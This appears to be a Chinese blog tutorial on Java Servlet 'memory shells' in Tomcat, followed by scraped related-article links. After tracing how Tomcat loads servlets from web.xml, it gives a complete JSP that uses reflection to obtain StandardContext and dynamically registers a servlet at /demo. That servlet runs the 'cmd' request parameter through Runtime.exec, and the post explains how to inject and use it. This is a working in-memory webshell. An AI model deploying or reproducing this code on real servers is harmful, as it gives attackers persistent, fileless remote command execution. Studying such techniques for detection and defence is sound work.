java Servlet内存马
Servlet
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="false"
><!--注册Servlet--><servlet><servlet-name>hello</servlet-name><servlet-class>com.naihe2.testServlet</servlet-class></servlet><!--Servlet的请求路径--><servlet-mapping><servlet-name>hello</servlet-name><url-pattern>/hello</url-pattern></servlet-mapping>
</web-app>
testServlet
package com.naihe2;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;public class testServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {resp.getWriter().write("123");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doGet(req, resp);}}
分析Servlet生成
读取web.xml
ContextConfig#webConfig()
在这里对其xml文件进行读取
ContextConfig#configureContext()
遍历webxml中的内容,将内容赋给新创建的Wrapper
将类名添加到Wrapper
将Wrapper添加到context中
StandardContext.createWapper()
在这里添加映射关系, 将 url 路径和 servlet 类做映射。
加载Servlet
遍历内容,比添加到StandardContext的list中
这里判断loadOnStartup是否大于0,如果大于才会添加
standardWrapper中的loadOnStatup默认为-1
在servlet的配置当中,1的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。
由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载
遍历list,加载wrapper
Servlet内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html><head><title>$Title$</title></head><body><%HttpServlet httpServlet = new HttpServlet() {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();BufferedInputStream bis = new BufferedInputStream(is);int len;while ((len = bis.read())!=-1){resp.getWriter().write(len);}}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPost(req, resp);}};//获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext stdcontext = (StandardContext) req.getContext();//从StandardContext.createWapper()获得一个Wapper对象Wrapper newWrapper = stdcontext.createWrapper();String name = httpServlet.getClass().getSimpleName();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(httpServlet);newWrapper.setServletClass(httpServlet.getClass().getName());//将Wrapper添加到StandardContextstdcontext.addChild(newWrapper);stdcontext.addServletMappingDecoded("/demo", name);%>
直接访问demo发现404
访问index.jsp注入内存马
再次访问demo
java Servlet内存马相关推荐
- 『Java安全』Tomcat内存马_动态注册Servlet内存马
文章目录 Servlet调用流程分析 1. StandardContext.startInternal注册servlet 2. StandardContextValue.invoke获取wrapper ...
- Servlet内存马
1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...
- 基于Java Agent内存马
前言 前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析 大的思路 第一种是通过perm ...
- java agent内存马学习
文章目录 1. 什么是java agent 补充:一些重要的类 ClassFileTransformer VirtualMachine CtMethod 2. 利用premain函数实现java ag ...
- 『Java安全』Tomcat内存马_动态注册Listener内存马
『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...
- Java内存马简单实现
文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...
- 初识Java内存马检测
近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...
- Java内存马查杀GUI工具
注意:请勿在生产环境使用,存在打崩业务的风险,目前适用于自己搭建靶机分析学习 功能: 关于Java Web内存马查杀的文章和工具已经有不少,不过大都不够完善,各有缺点:于是我做了一款GUI版本的实时内 ...
- java内存马分析集合
基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...
最新文章
- Puppeteer设置浏览器代理的三种思路
- linux nfs 无法写入,无法写入挂载点(nfs-server),获得“权限被拒绝”
- beetl 时间输出格式化
- PyCharm安装与配置,python的Hello World
- 大学生代跑全新简洁界面单页官网
- html发送qq邮件消息,Python3实现发送QQ邮件功能(html)_python
- 卡尔曼滤波算法_GPS定位笔记3 (卡尔曼滤波定位算法)
- java 远程调试 端口_java – 远程调试:在端口8787上没有连接到OpenJDK 11上的Wildfly 14...
- 开源中国iOS客户端学习——(七)MBProgressHUD特效
- 神经网络基本原理、误差逆传播BP算法公式推导与多层神经网络的Python实现
- Unity 中实现 打击感的物理
- 两种有效提高win10电脑开机速度的方法
- c语言人民日报排版的代码,人民日报都在玩的排版黑科技,教你1分钟上手!
- 虚拟拨号服务器名称,怎么设置虚拟拨号服务器
- 在Java web页面使用ECharts制作图表
- 父组件访问子组件的方法或参数 (子组件暴漏出方法defineExpose)
- 使用DataX将mysql中做数据导出时 提示 java.sql.SQLException: Could not retrieve transation read-only status server
- html获取cookie数据,cookies数据是什么意思?
- 最新产品直线度测量仪提升的不仅是品质 还带来了经济效益
- 天气转晴东方木开始学习IT知识学习篇之一
热门文章
- oppo关闭网易云音乐锁屏小窗口
- 提取txt文档中以冒号分隔符区分的信息到excel(前提是使用正则表达式把每一行修改为只有一个冒号)
- Eclipse注释后格式变乱
- 假装Python高手,你真的懂属性描述符类!
- 虾米音乐解析器Qt版
- idea 序列化快捷键
- excel多列多行堆叠成多列一行,(excel把一行多列数据转成几行几列的表格)excel多列数据合并成一列...
- [附源码]Python计算机毕业设计SSM化妆品网上商城数据分析系统(程序+LW)
- 有些事情,拖着拖着也许就黄了
- 游戏测试行业还能入局吗?前线打探最新消息来了